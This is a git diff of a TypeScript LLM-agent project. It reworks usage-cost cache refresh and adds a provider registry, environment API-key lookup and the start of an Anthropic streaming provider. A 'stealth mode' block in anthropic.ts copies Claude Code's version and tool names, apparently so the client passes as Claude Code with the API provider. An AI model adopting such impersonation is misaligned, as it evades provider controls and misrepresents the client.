await listUsageCountedTranscriptFileStats(agentId); + return await listUsageCountedTranscriptFileStats(agentId, params); } function isUsageCostCacheEntryFresh(params: { @@ -1496,14 +1497,16 @@ async function scanUsageFileForCache(params: { }; } -export async function refreshCostUsageCache(params?: { +async function refreshCostUsageCacheForPath(params?: { config?: OpenClawConfig; agentId?: string; + cachePath?: string; maxFiles?: number; + sessionsDir?: string; sessionFiles?: string[]; startMs?: number; }): Promise { - const cachePath = resolveUsageCostCachePath(params?.agentId); + const cachePath = params?.cachePath ?? resolveUsageCostCachePath(params?.agentId); const lock = await acquireUsageCostCacheRefreshLock(cachePath); if (!lock.acquired) { return "busy"; @@ -1511,7 +1514,9 @@ export async function refreshCostUsageCache(params?: { try { const pricingFingerprint = resolveUsageCostPricingFingerprint(params?.config); const cache = await readUsageCostCache(cachePath); - const files = await listUsageCountedTranscriptFiles(params?.agentId); + const files = await listUsageCountedTranscriptFiles(params?.agentId, { + sessionsDir: params?.sessionsDir, + }); const sessionSummaryFiles = new Set(params?.sessionFiles ?? []); const refreshStartMs = params?.startMs; const refreshFiles = @@ -1565,6 +1570,16 @@ export async function refreshCostUsageCache(params?: { } } +export async function refreshCostUsageCache(params?: { + config?: OpenClawConfig; + agentId?: string; + maxFiles?: number; + sessionFiles?: string[]; + startMs?: number; +}): Promise { + return await refreshCostUsageCacheForPath(params); +} + export async function loadCostUsageSummaryFromCache(params: { startMs: number; endMs: number; @@ -1621,7 +1636,7 @@ export async function loadCostUsageSummaryFromCache(params: { startMs: params.startMs, endMs: params.endMs, pricingFingerprint, - refreshing: usageCostRefreshes.has(params.agentId ?? "main") || refreshRunning, + refreshing: usageCostRefreshes.has(cachePath) || refreshRunning, }); } @@ -1696,7 +1711,8 @@ export async function loadSessionCostSummaryFromCache(params: { refreshRequested = true; } } - const refreshRunning = await isUsageCostCacheRefreshRunning(cachePath); + const refreshRunning = + usageCostRefreshes.has(cachePath) || (await isUsageCostCacheRefreshRunning(cachePath)); let summary = stale ? null : (entry?.sessionSummary ?? null); if (!summary && params.refreshMode === "sync-when-empty") { summary = await loadSessionCostSummary({ @@ -1758,8 +1774,8 @@ export function requestCostUsageCacheRefresh(params?: { agentId?: string; sessionFiles?: string[]; }): void { - const agentId = params?.agentId ?? "main"; - const existing = usageCostRefreshes.get(agentId); + const cachePath = resolveUsageCostCachePath(params?.agentId); + const existing = usageCostRefreshes.get(cachePath); if (existing) { mergeUsageCostRefreshRequest(existing, params); return; @@ -1767,14 +1783,16 @@ export function requestCostUsageCacheRefresh(params?: { const state: UsageCostRefreshState = { agentId: params?.agentId, + cachePath, config: params?.config, fullRefreshRequested: false, pendingSessionFiles: new Set(), running: false, + sessionsDir: path.dirname(cachePath), }; mergeUsageCostRefreshRequest(state, params); - usageCostRefreshes.set(agentId, state); - scheduleUsageCostRefresh(agentId, state); + usageCostRefreshes.set(cachePath, state); + scheduleUsageCostRefresh(cachePath, state); } function mergeUsageCostRefreshRequest( @@ -1801,7 +1819,7 @@ function mergeUsageCostRefreshRequest( } function scheduleUsageCostRefresh( - agentId: string, + refreshKey: string, state: UsageCostRefreshState, delayMs = 0, ): void { @@ -1810,14 +1828,14 @@ function scheduleUsageCostRefresh( } const timer = setTimeout(() => { state.timer = undefined; - void runQueuedUsageCostRefresh(agentId, state); + void runQueuedUsageCostRefresh(refreshKey, state); }, delayMs); timer.unref?.(); state.timer = timer; } async function runQueuedUsageCostRefresh( - agentId: string, + refreshKey: string, state: UsageCostRefreshState, ): Promise { state.running = true; @@ -1830,9 +1848,11 @@ async function runQueuedUsageCostRefresh( state.pendingSessionFiles.clear(); } state.fullRefreshRequested = false; - const result = await refreshCostUsageCache({ + const result = await refreshCostUsageCacheForPath({ + cachePath: state.cachePath, config: state.config, agentId: state.agentId, + sessionsDir: state.sessionsDir, sessionFiles: fullRefreshRequested ? undefined : sessionFiles, }); if (result === "busy") { @@ -1852,9 +1872,9 @@ async function runQueuedUsageCostRefresh( } finally { state.running = false; if (state.fullRefreshRequested || state.pendingSessionFiles.size > 0) { - scheduleUsageCostRefresh(agentId, state, retryDelayMs); + scheduleUsageCostRefresh(refreshKey, state, retryDelayMs); } else { - usageCostRefreshes.delete(agentId); + usageCostRefreshes.delete(refreshKey); } } } diff --git a/src/infra/tsdown-config.test.ts b/src/infra/tsdown-config.test.ts index e9de937e4d1..c939f7bd864 100644 --- a/src/infra/tsdown-config.test.ts +++ b/src/infra/tsdown-config.test.ts @@ -81,9 +81,9 @@ function readGatewayRunLoopSource(): string { return readFileSync(new URL("../cli/gateway-cli/run-loop.ts", import.meta.url), "utf8"); } -function readPiModelDiscoveryCacheSource(): string { +function readAgentModelDiscoveryCacheSource(): string { return readFileSync( - new URL("../agents/pi-embedded-runner/model-discovery-cache.ts", import.meta.url), + new URL("../agents/embedded-agent-runner/model-discovery-cache.ts", import.meta.url), "utf8", ); } @@ -102,7 +102,6 @@ describe("tsdown config", () => { "plugins/memory-state", "subagent-registry.runtime", "task-registry-control.runtime", - "agents/pi-model-discovery-runtime", "link-understanding/apply.runtime", "media-understanding/apply.runtime", "index", @@ -160,7 +159,7 @@ describe("tsdown config", () => { it("keeps PI model discovery synthetic auth refs behind one stable runtime dist entry", () => { const distGraph = requireUnifiedDistGraph(); const importSpecifiers = [ - ...readPiModelDiscoveryCacheSource().matchAll( + ...readAgentModelDiscoveryCacheSource().matchAll( /from ["']([^"']*synthetic-auth\.runtime\.js)["']/gu, ), ].map((match) => match[1]); diff --git a/src/llm/api-registry.ts b/src/llm/api-registry.ts new file mode 100644 index 00000000000..a32b280b6aa --- /dev/null +++ b/src/llm/api-registry.ts @@ -0,0 +1,101 @@ +import type { + Api, + AssistantMessageEventStreamContract, + Context, + Model, + SimpleStreamOptions, + StreamFunction, + StreamOptions, +} from "./types.js"; + +export type ApiStreamFunction = ( + model: Model, + context: Context, + options?: StreamOptions, +) => AssistantMessageEventStreamContract; + +export type ApiStreamSimpleFunction = ( + model: Model, + context: Context, + options?: SimpleStreamOptions, +) => AssistantMessageEventStreamContract; + +export interface ApiProvider< + TApi extends Api = Api, + TOptions extends StreamOptions = StreamOptions, +> { + api: TApi; + stream: StreamFunction; + streamSimple: StreamFunction; +} + +interface ApiProviderInternal { + api: Api; + stream: ApiStreamFunction; + streamSimple: ApiStreamSimpleFunction; +} + +type RegisteredApiProvider = { + provider: ApiProviderInternal; + sourceId?: string; +}; + +const apiProviderRegistry = new Map(); + +function wrapStream( + api: TApi, + stream: StreamFunction, +): ApiStreamFunction { + return (model, context, options) => { + if (model.api !== api) { + throw new Error(`Mismatched api: ${model.api} expected ${api}`); + } + return stream(model as Model, context, options as TOptions); + }; +} + +function wrapStreamSimple( + api: TApi, + streamSimple: StreamFunction, +): ApiStreamSimpleFunction { + return (model, context, options) => { + if (model.api !== api) { + throw new Error(`Mismatched api: ${model.api} expected ${api}`); + } + return streamSimple(model as Model, context, options); + }; +} + +export function registerApiProvider( + provider: ApiProvider, + sourceId?: string, +): void { + apiProviderRegistry.set(provider.api, { + provider: { + api: provider.api, + stream: wrapStream(provider.api, provider.stream), + streamSimple: wrapStreamSimple(provider.api, provider.streamSimple), + }, + sourceId, + }); +} + +export function getApiProvider(api: Api): ApiProviderInternal | undefined { + return apiProviderRegistry.get(api)?.provider; +} + +export function getApiProviders(): ApiProviderInternal[] { + return Array.from(apiProviderRegistry.values(), (entry) => entry.provider); +} + +export function unregisterApiProviders(sourceId: string): void { + for (const [api, entry] of apiProviderRegistry.entries()) { + if (entry.sourceId === sourceId) { + apiProviderRegistry.delete(api); + } + } +} + +export function clearApiProviders(): void { + apiProviderRegistry.clear(); +} diff --git a/src/llm/env-api-keys.test.ts b/src/llm/env-api-keys.test.ts new file mode 100644 index 00000000000..879ab92968b --- /dev/null +++ b/src/llm/env-api-keys.test.ts @@ -0,0 +1,108 @@ +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +const envKeys = [ + "GOOGLE_APPLICATION_CREDENTIALS", + "GOOGLE_CLOUD_LOCATION", + "GOOGLE_CLOUD_PROJECT", + "KIMI_API_KEY", + "KIMICODE_API_KEY", + "MOONSHOT_API_KEY", +] as const; + +const previousEnv = new Map(); +const tempDirs: string[] = []; + +afterEach(async () => { + vi.unstubAllGlobals(); + for (const key of envKeys) { + const value = previousEnv.get(key); + if (value === undefined) { + delete process.env[key]; + } else { + process.env[key] = value; + } + } + previousEnv.clear(); + await Promise.all(tempDirs.splice(0).map((dir) => rm(dir, { recursive: true, force: true }))); + vi.resetModules(); +}); + +function setEnv(key: (typeof envKeys)[number], value: string): void { + if (!previousEnv.has(key)) { + previousEnv.set(key, process.env[key]); + } + process.env[key] = value; +} + +describe("getEnvApiKey", () => { + it("returns no env auth in browser contexts without process", async () => { + vi.resetModules(); + const { findEnvKeys, getEnvApiKey } = await import("./env-api-keys.js"); + vi.stubGlobal("process", undefined); + + expect(findEnvKeys("openai")).toBeUndefined(); + expect(getEnvApiKey("openai")).toBeUndefined(); + expect(getEnvApiKey("google-vertex")).toBeUndefined(); + expect(getEnvApiKey("amazon-bedrock")).toBeUndefined(); + }); + + it("detects Google Vertex ADC credentials on the first synchronous lookup", async () => { + const dir = await mkdtemp(join(tmpdir(), "openclaw-vertex-adc-")); + tempDirs.push(dir); + const credentialsPath = join(dir, "application_default_credentials.json"); + await writeFile(credentialsPath, "{}", "utf-8"); + setEnv("GOOGLE_APPLICATION_CREDENTIALS", credentialsPath); + setEnv("GOOGLE_CLOUD_LOCATION", "us-central1"); + setEnv("GOOGLE_CLOUD_PROJECT", "vertex-project"); + + vi.resetModules(); + const { getEnvApiKey } = await import("./env-api-keys.js"); + + expect(getEnvApiKey("google-vertex")).toBe(""); + }); + + it("detects canonical Moonshot and Kimi provider credentials", async () => { + setEnv("MOONSHOT_API_KEY", "moonshot-key"); + setEnv("KIMI_API_KEY", "kimi-key"); + setEnv("KIMICODE_API_KEY", "kimicode-key"); + + vi.resetModules(); + const { findEnvKeys, getEnvApiKey } = await import("./env-api-keys.js"); + + expect(findEnvKeys("moonshot")).toEqual(["MOONSHOT_API_KEY", "KIMI_API_KEY"]); + expect(getEnvApiKey("moonshot")).toBe("moonshot-key"); + expect(findEnvKeys("kimi")).toEqual(["KIMI_API_KEY", "KIMICODE_API_KEY"]); + expect(getEnvApiKey("kimi")).toBe("kimi-key"); + expect(findEnvKeys("kimi-coding")).toEqual(["KIMI_API_KEY", "KIMICODE_API_KEY"]); + expect(getEnvApiKey("kimi-coding")).toBe("kimi-key"); + }); + + it("falls back to alternate canonical Kimi env vars", async () => { + setEnv("KIMICODE_API_KEY", "kimicode-key"); + + vi.resetModules(); + const { findEnvKeys, getEnvApiKey } = await import("./env-api-keys.js"); + + expect(findEnvKeys("kimi")).toEqual(["KIMICODE_API_KEY"]); + expect(getEnvApiKey("kimi")).toBe("kimicode-key"); + }); + + it("does not cache missing Google Vertex ADC credentials", async () => { + const dir = await mkdtemp(join(tmpdir(), "openclaw-vertex-adc-")); + tempDirs.push(dir); + const credentialsPath = join(dir, "application_default_credentials.json"); + setEnv("GOOGLE_APPLICATION_CREDENTIALS", credentialsPath); + setEnv("GOOGLE_CLOUD_LOCATION", "us-central1"); + setEnv("GOOGLE_CLOUD_PROJECT", "vertex-project"); + + vi.resetModules(); + const { getEnvApiKey } = await import("./env-api-keys.js"); + + expect(getEnvApiKey("google-vertex")).toBeUndefined(); + await writeFile(credentialsPath, "{}", "utf-8"); + expect(getEnvApiKey("google-vertex")).toBe(""); + }); +}); diff --git a/src/llm/env-api-keys.ts b/src/llm/env-api-keys.ts new file mode 100644 index 00000000000..cb9c41c12c4 --- /dev/null +++ b/src/llm/env-api-keys.ts @@ -0,0 +1,259 @@ +// NEVER convert to top-level imports - breaks browser/Vite builds +let existsSync: typeof import("node:fs").existsSync | null = null; +let homedir: typeof import("node:os").homedir | null = null; +let join: typeof import("node:path").join | null = null; + +type DynamicImport = (specifier: string) => Promise; +type NodeBuiltinModule = + | typeof import("node:fs") + | typeof import("node:os") + | typeof import("node:path"); + +const dynamicImport: DynamicImport = (specifier) => import(specifier); +const NODE_FS_SPECIFIER = "node:fs"; +const NODE_OS_SPECIFIER = "node:os"; +const NODE_PATH_SPECIFIER = "node:path"; + +function loadNodeBuiltinModule(specifier: string): NodeBuiltinModule | null { + const getBuiltinModule = (typeof process !== "undefined" ? process : undefined) as + | (NodeJS.Process & { getBuiltinModule?: (id: string) => unknown }) + | undefined; + if (typeof getBuiltinModule?.getBuiltinModule === "function") { + return getBuiltinModule.getBuiltinModule(specifier) as NodeBuiltinModule; + } + if (typeof require === "function") { + return require(specifier) as NodeBuiltinModule; + } + return null; +} + +function loadNodeHelpersSync(): boolean { + try { + const fsModule = loadNodeBuiltinModule(NODE_FS_SPECIFIER) as typeof import("node:fs") | null; + const osModule = loadNodeBuiltinModule(NODE_OS_SPECIFIER) as typeof import("node:os") | null; + const pathModule = loadNodeBuiltinModule(NODE_PATH_SPECIFIER) as + | typeof import("node:path") + | null; + existsSync ??= fsModule?.existsSync ?? null; + homedir ??= osModule?.homedir ?? null; + join ??= pathModule?.join ?? null; + if (!existsSync || !homedir || !join) { + return false; + } + return true; + } catch { + return false; + } +} + +// Eagerly load in Node.js/Bun environment only +if (typeof process !== "undefined" && (process.versions?.node || process.versions?.bun)) { + if (!loadNodeHelpersSync()) { + void dynamicImport(NODE_FS_SPECIFIER).then((m) => { + existsSync = (m as typeof import("node:fs")).existsSync; + }); + void dynamicImport(NODE_OS_SPECIFIER).then((m) => { + homedir = (m as typeof import("node:os")).homedir; + }); + void dynamicImport(NODE_PATH_SPECIFIER).then((m) => { + join = (m as typeof import("node:path")).join; + }); + } +} + +let procEnvCache: Map | null = null; + +function getProcessEnv(): NodeJS.ProcessEnv | undefined { + return typeof process === "undefined" ? undefined : process.env; +} + +/** + * Fallback for https://github.com/oven-sh/bun/issues/27802 + * Bun compiled binaries have an empty `process.env` inside sandbox + * environments on Linux. We can recover the env from `/proc/self/environ`. + */ +function getProcEnv(key: string): string | undefined { + if (typeof process === "undefined" || !process.versions?.bun) { + return undefined; + } + const env = getProcessEnv(); + if (!env) { + return undefined; + } + + // If process.env already has entries, the bug is not triggered. + if (Object.keys(env).length > 0) { + return undefined; + } + + if (procEnvCache === null) { + procEnvCache = new Map(); + try { + const { readFileSync } = require("node:fs") as typeof import("node:fs"); + const data = readFileSync("/proc/self/environ", "utf-8"); + for (const entry of data.split("\0")) { + const idx = entry.indexOf("="); + if (idx > 0) { + procEnvCache.set(entry.slice(0, idx), entry.slice(idx + 1)); + } + } + } catch { + // /proc/self/environ may not be readable. + } + } + + return procEnvCache.get(key); +} + +function getEnvValue(key: string): string | undefined { + return getProcessEnv()?.[key] || getProcEnv(key); +} + +let cachedVertexAdcCredentialsExists: true | null = null; + +function hasVertexAdcCredentials(): boolean { + if (cachedVertexAdcCredentialsExists === null) { + if (!existsSync || !homedir || !join) { + const isNode = + typeof process !== "undefined" && (process.versions?.node || process.versions?.bun); + if (!isNode || !loadNodeHelpersSync()) { + return false; + } + } + const nodeExistsSync = existsSync; + const nodeHomedir = homedir; + const nodeJoin = join; + if (!nodeExistsSync || !nodeHomedir || !nodeJoin) { + return false; + } + + // Check GOOGLE_APPLICATION_CREDENTIALS env var first (standard way) + const gacPath = getEnvValue("GOOGLE_APPLICATION_CREDENTIALS"); + if (gacPath) { + cachedVertexAdcCredentialsExists = nodeExistsSync(gacPath) ? true : null; + } else { + // Fall back to default ADC path (lazy evaluation) + cachedVertexAdcCredentialsExists = nodeExistsSync( + nodeJoin(nodeHomedir(), ".config", "gcloud", "application_default_credentials.json"), + ) + ? true + : null; + } + } + return cachedVertexAdcCredentialsExists === true; +} + +function getApiKeyEnvVars(provider: string): readonly string[] | undefined { + if (provider === "github-copilot") { + return ["COPILOT_GITHUB_TOKEN"]; + } + + // ANTHROPIC_OAUTH_TOKEN takes precedence over ANTHROPIC_API_KEY + if (provider === "anthropic") { + return ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"]; + } + + if (provider === "moonshot") { + return ["MOONSHOT_API_KEY", "KIMI_API_KEY"]; + } + + if (provider === "kimi" || provider === "kimi-coding") { + return ["KIMI_API_KEY", "KIMICODE_API_KEY"]; + } + + const envMap: Record = { + openai: "OPENAI_API_KEY", + "azure-openai-responses": "AZURE_OPENAI_API_KEY", + deepseek: "DEEPSEEK_API_KEY", + google: "GEMINI_API_KEY", + "google-vertex": "GOOGLE_CLOUD_API_KEY", + groq: "GROQ_API_KEY", + cerebras: "CEREBRAS_API_KEY", + xai: "XAI_API_KEY", + openrouter: "OPENROUTER_API_KEY", + "vercel-ai-gateway": "AI_GATEWAY_API_KEY", + zai: "ZAI_API_KEY", + mistral: "MISTRAL_API_KEY", + minimax: "MINIMAX_API_KEY", + "minimax-cn": "MINIMAX_CN_API_KEY", + moonshotai: "MOONSHOT_API_KEY", + "moonshotai-cn": "MOONSHOT_API_KEY", + huggingface: "HF_TOKEN", + fireworks: "FIREWORKS_API_KEY", + together: "TOGETHER_API_KEY", + opencode: "OPENCODE_API_KEY", + "opencode-go": "OPENCODE_API_KEY", + "cloudflare-workers-ai": "CLOUDFLARE_API_KEY", + "cloudflare-ai-gateway": "CLOUDFLARE_API_KEY", + xiaomi: "XIAOMI_API_KEY", + "xiaomi-token-plan-cn": "XIAOMI_TOKEN_PLAN_CN_API_KEY", + "xiaomi-token-plan-ams": "XIAOMI_TOKEN_PLAN_AMS_API_KEY", + "xiaomi-token-plan-sgp": "XIAOMI_TOKEN_PLAN_SGP_API_KEY", + }; + + const envVar = envMap[provider]; + return envVar ? [envVar] : undefined; +} + +/** + * Find configured environment variables that can provide an API key for a provider. + * + * This only reports actual API key variables. It intentionally excludes ambient + * credential sources such as AWS profiles, AWS IAM credentials, and Google + * Application Default Credentials. + */ +export function findEnvKeys(provider: string): string[] | undefined { + const envVars = getApiKeyEnvVars(provider); + if (!envVars) { + return undefined; + } + + const found = envVars.filter((envVar) => !!getEnvValue(envVar)); + return found.length > 0 ? found : undefined; +} + +/** + * Get API key for provider from known environment variables, e.g. OPENAI_API_KEY. + * + * Will not return API keys for providers that require OAuth tokens. + */ +export function getEnvApiKey(provider: string): string | undefined { + const envKeys = findEnvKeys(provider); + if (envKeys?.[0]) { + return getEnvValue(envKeys[0]); + } + + // Vertex AI supports either an explicit API key or Application Default Credentials. + // Auth is configured via `gcloud auth application-default login`. + if (provider === "google-vertex") { + const hasCredentials = hasVertexAdcCredentials(); + const hasProject = !!(getEnvValue("GOOGLE_CLOUD_PROJECT") || getEnvValue("GCLOUD_PROJECT")); + const hasLocation = !!getEnvValue("GOOGLE_CLOUD_LOCATION"); + + if (hasCredentials && hasProject && hasLocation) { + return ""; + } + } + + if (provider === "amazon-bedrock") { + // Amazon Bedrock supports multiple credential sources: + // 1. AWS_PROFILE - named profile from ~/.aws/credentials + // 2. AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY - standard IAM keys + // 3. AWS_BEARER_TOKEN_BEDROCK - Bedrock bearer token + // 4. AWS_CONTAINER_CREDENTIALS_RELATIVE_URI - ECS task roles + // 5. AWS_CONTAINER_CREDENTIALS_FULL_URI - ECS task roles (full URI) + // 6. AWS_WEB_IDENTITY_TOKEN_FILE - IRSA (IAM Roles for Service Accounts) + if ( + getEnvValue("AWS_PROFILE") || + (getEnvValue("AWS_ACCESS_KEY_ID") && getEnvValue("AWS_SECRET_ACCESS_KEY")) || + getEnvValue("AWS_BEARER_TOKEN_BEDROCK") || + getEnvValue("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") || + getEnvValue("AWS_CONTAINER_CREDENTIALS_FULL_URI") || + getEnvValue("AWS_WEB_IDENTITY_TOKEN_FILE") + ) { + return ""; + } + } + + return undefined; +} diff --git a/src/llm/model-registry.ts b/src/llm/model-registry.ts new file mode 100644 index 00000000000..fc41e4cb476 --- /dev/null +++ b/src/llm/model-registry.ts @@ -0,0 +1,8 @@ +import type { Model } from "./types.js"; + +export type ModelRegistry = { + getAll(): Model[]; + getAvailable(): Model[]; + find(provider: string, modelId: string): Model | undefined; + hasConfiguredAuth(model: Model): boolean; +}; diff --git a/src/llm/model-utils.ts b/src/llm/model-utils.ts new file mode 100644 index 00000000000..cb3643d95ec --- /dev/null +++ b/src/llm/model-utils.ts @@ -0,0 +1,78 @@ +import type { Api, Model, ModelThinkingLevel, Usage } from "./types.js"; + +export function calculateCost(model: Model, usage: Usage): Usage["cost"] { + usage.cost.input = (model.cost.input / 1000000) * usage.input; + usage.cost.output = (model.cost.output / 1000000) * usage.output; + usage.cost.cacheRead = (model.cost.cacheRead / 1000000) * usage.cacheRead; + usage.cost.cacheWrite = (model.cost.cacheWrite / 1000000) * usage.cacheWrite; + usage.cost.total = + usage.cost.input + usage.cost.output + usage.cost.cacheRead + usage.cost.cacheWrite; + return usage.cost; +} + +const EXTENDED_THINKING_LEVELS: ModelThinkingLevel[] = [ + "off", + "minimal", + "low", + "medium", + "high", + "xhigh", +]; + +export function getSupportedThinkingLevels( + model: Model, +): ModelThinkingLevel[] { + if (!model.reasoning) { + return ["off"]; + } + + return EXTENDED_THINKING_LEVELS.filter((level) => { + const mapped = model.thinkingLevelMap?.[level]; + if (mapped === null) { + return false; + } + if (level === "xhigh") { + return mapped !== undefined; + } + return true; + }); +} + +export function clampThinkingLevel( + model: Model, + level: ModelThinkingLevel, +): ModelThinkingLevel { + const availableLevels = getSupportedThinkingLevels(model); + if (availableLevels.includes(level)) { + return level; + } + + const requestedIndex = EXTENDED_THINKING_LEVELS.indexOf(level); + if (requestedIndex === -1) { + return availableLevels[0] ?? "off"; + } + + for (let i = requestedIndex; i < EXTENDED_THINKING_LEVELS.length; i++) { + const candidate = EXTENDED_THINKING_LEVELS[i]; + if (availableLevels.includes(candidate)) { + return candidate; + } + } + for (let i = requestedIndex - 1; i >= 0; i--) { + const candidate = EXTENDED_THINKING_LEVELS[i]; + if (availableLevels.includes(candidate)) { + return candidate; + } + } + return availableLevels[0] ?? "off"; +} + +export function modelsAreEqual( + a: Model | null | undefined, + b: Model | null | undefined, +): boolean { + if (!a || !b) { + return false; + } + return a.id === b.id && a.provider === b.provider; +} diff --git a/src/llm/oauth.ts b/src/llm/oauth.ts new file mode 100644 index 00000000000..d768a0fe6f3 --- /dev/null +++ b/src/llm/oauth.ts @@ -0,0 +1 @@ +export * from "./utils/oauth/index.js"; diff --git a/src/llm/providers/anthropic.test.ts b/src/llm/providers/anthropic.test.ts new file mode 100644 index 00000000000..8f14ed68d0f --- /dev/null +++ b/src/llm/providers/anthropic.test.ts @@ -0,0 +1,65 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { Context, Model } from "../types.js"; + +const anthropicMockState = vi.hoisted(() => ({ + configs: [] as unknown[], +})); + +vi.mock("@anthropic-ai/sdk", () => ({ + default: class MockAnthropic { + messages = { + create: vi.fn(() => { + throw new Error("stop after constructor"); + }), + }; + + constructor(config: unknown) { + anthropicMockState.configs.push(config); + } + }, +})); + +import { streamAnthropic } from "./anthropic.js"; + +describe("Anthropic provider", () => { + beforeEach(() => { + anthropicMockState.configs = []; + }); + + it("keeps Cloudflare AI Gateway upstream provider auth on the Anthropic API key", async () => { + const model = { + id: "claude-sonnet-4-6", + name: "Claude Sonnet 4.6", + provider: "cloudflare-ai-gateway", + api: "anthropic-messages", + baseUrl: "https://gateway.ai.cloudflare.com/v1/account/gateway/anthropic/v1/messages", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 200_000, + maxTokens: 4096, + headers: { + "cf-aig-authorization": "Bearer gateway-token", + }, + } satisfies Model<"anthropic-messages">; + const context = { + messages: [{ role: "user", content: "hello", timestamp: 1 }], + } satisfies Context; + + streamAnthropic(model, context, { + apiKey: "sk-ant-provider", + }); + + await vi.waitFor(() => expect(anthropicMockState.configs).toHaveLength(1)); + const config = anthropicMockState.configs[0] as { + apiKey?: string | null; + authToken?: string | null; + defaultHeaders?: Record; + }; + + expect(config.apiKey).toBe("sk-ant-provider"); + expect(config.authToken).toBeNull(); + expect(config.defaultHeaders?.["x-api-key"]).toBeUndefined(); + expect(config.defaultHeaders?.["cf-aig-authorization"]).toBe("Bearer gateway-token"); + }); +}); diff --git a/src/llm/providers/anthropic.ts b/src/llm/providers/anthropic.ts new file mode 100644 index 00000000000..d6bdac63934 --- /dev/null +++ b/src/llm/providers/anthropic.ts @@ -0,0 +1,1264 @@ +import Anthropic from "@anthropic-ai/sdk"; +import type { + CacheControlEphemeral, + ContentBlockParam, + MessageCreateParamsStreaming, + MessageParam, + RawMessageStreamEvent, +} from "@anthropic-ai/sdk/resources/messages.js"; +import { getEnvApiKey } from "../env-api-keys.js"; +import { calculateCost } from "../model-utils.js"; +import type { + AnthropicMessagesCompat, + Api, + AssistantMessage, + CacheRetention, + Context, + ImageContent, + Message, + Model, + SimpleStreamOptions, + StopReason, + StreamFunction, + StreamOptions, + TextContent, + ThinkingContent, + Tool, + ToolCall, + ToolResultMessage, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { headersToRecord } from "../utils/headers.js"; +import { parseJsonWithRepair, parseStreamingJson } from "../utils/json-parse.js"; +import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; +import { resolveCloudflareBaseUrl } from "./cloudflare.js"; +import { buildCopilotDynamicHeaders, hasCopilotVisionInput } from "./github-copilot-headers.js"; +import { adjustMaxTokensForThinking, buildBaseOptions } from "./simple-options.js"; +import { transformMessages } from "./transform-messages.js"; + +/** + * Resolve cache retention preference. + * Defaults to "short" and uses OPENCLAW_CACHE_RETENTION for backward compatibility. + */ +function resolveCacheRetention(cacheRetention?: CacheRetention): CacheRetention { + if (cacheRetention) { + return cacheRetention; + } + if (typeof process !== "undefined" && process.env.OPENCLAW_CACHE_RETENTION === "long") { + return "long"; + } + return "short"; +} + +function getCacheControl( + model: Model<"anthropic-messages">, + cacheRetention?: CacheRetention, +): { retention: CacheRetention; cacheControl?: CacheControlEphemeral } { + const retention = resolveCacheRetention(cacheRetention); + if (retention === "none") { + return { retention }; + } + const ttl = + retention === "long" && getAnthropicCompat(model).supportsLongCacheRetention ? "1h" : undefined; + return { + retention, + cacheControl: { type: "ephemeral", ...(ttl && { ttl }) }, + }; +} + +// Stealth mode: Mimic Claude Code's tool naming exactly +const claudeCodeVersion = "2.1.75"; + +// Claude Code 2.x tool names (canonical casing) +// Source: https://cchistory.mariozechner.at/data/prompts-2.1.11.md +// To update: https://github.com/badlogic/cchistory +const claudeCodeTools = [ + "Read", + "Write", + "Edit", + "Bash", + "Grep", + "Glob", + "AskUserQuestion", + "EnterPlanMode", + "ExitPlanMode", + "KillShell", + "NotebookEdit", + "Skill", + "Task", + "TaskOutput", + "TodoWrite", + "WebFetch", + "WebSearch", +]; + +const ccToolLookup = new Map(claudeCodeTools.map((t) => [t.toLowerCase(), t])); + +// Convert tool name to CC canonical casing if it matches (case-insensitive) +const toClaudeCodeName = (name: string) => ccToolLookup.get(name.toLowerCase()) ?? name; +const fromClaudeCodeName = (name: string, tools?: Tool[]) => { + if (tools && tools.length > 0) { + const lowerName = name.toLowerCase(); + const matchedTool = tools.find((tool) => tool.name.toLowerCase() === lowerName); + if (matchedTool) { + return matchedTool.name; + } + } + return name; +}; + +/** + * Convert content blocks to Anthropic API format + */ +function convertContentBlocks(content: (TextContent | ImageContent)[]): + | string + | Array< + | { type: "text"; text: string } + | { + type: "image"; + source: { + type: "base64"; + media_type: "image/jpeg" | "image/png" | "image/gif" | "image/webp"; + data: string; + }; + } + > { + // If only text blocks, return as concatenated string for simplicity + const hasImages = content.some((c) => c.type === "image"); + if (!hasImages) { + return sanitizeSurrogates(content.map((c) => (c as TextContent).text).join("\n")); + } + + // If we have images, convert to content block array + const blocks = content.map((block) => { + if (block.type === "text") { + return { + type: "text" as const, + text: sanitizeSurrogates(block.text), + }; + } + return { + type: "image" as const, + source: { + type: "base64" as const, + media_type: block.mimeType as "image/jpeg" | "image/png" | "image/gif" | "image/webp", + data: block.data, + }, + }; + }); + + // If only images (no text), add placeholder text block + const hasText = blocks.some((b) => b.type === "text"); + if (!hasText) { + blocks.unshift({ + type: "text" as const, + text: "(see attached image)", + }); + } + + return blocks; +} + +export type AnthropicEffort = "low" | "medium" | "high" | "xhigh" | "max"; + +export type AnthropicThinkingDisplay = "summarized" | "omitted"; + +const FINE_GRAINED_TOOL_STREAMING_BETA = "fine-grained-tool-streaming-2025-05-14"; +const INTERLEAVED_THINKING_BETA = "interleaved-thinking-2025-05-14"; + +function getAnthropicCompat(model: Model<"anthropic-messages">): Required { + // Auto-detect session affinity and cache control support from provider + const isFireworks = model.provider === "fireworks"; + const isCloudflareAiGatewayAnthropic = + model.provider === "cloudflare-ai-gateway" && model.baseUrl.includes("anthropic"); + return { + supportsEagerToolInputStreaming: model.compat?.supportsEagerToolInputStreaming ?? !isFireworks, + supportsLongCacheRetention: model.compat?.supportsLongCacheRetention ?? !isFireworks, + sendSessionAffinityHeaders: + model.compat?.sendSessionAffinityHeaders ?? (isFireworks || isCloudflareAiGatewayAnthropic), + supportsCacheControlOnTools: model.compat?.supportsCacheControlOnTools ?? !isFireworks, + }; +} + +export interface AnthropicOptions extends StreamOptions { + /** + * Enable extended thinking. + * For Opus 4.6 and Sonnet 4.6: uses adaptive thinking (model decides when/how much to think). + * For older models: uses budget-based thinking with thinkingBudgetTokens. + */ + thinkingEnabled?: boolean; + /** + * Token budget for extended thinking (older models only). + * Ignored for Opus 4.6 and Sonnet 4.6, which use adaptive thinking. + */ 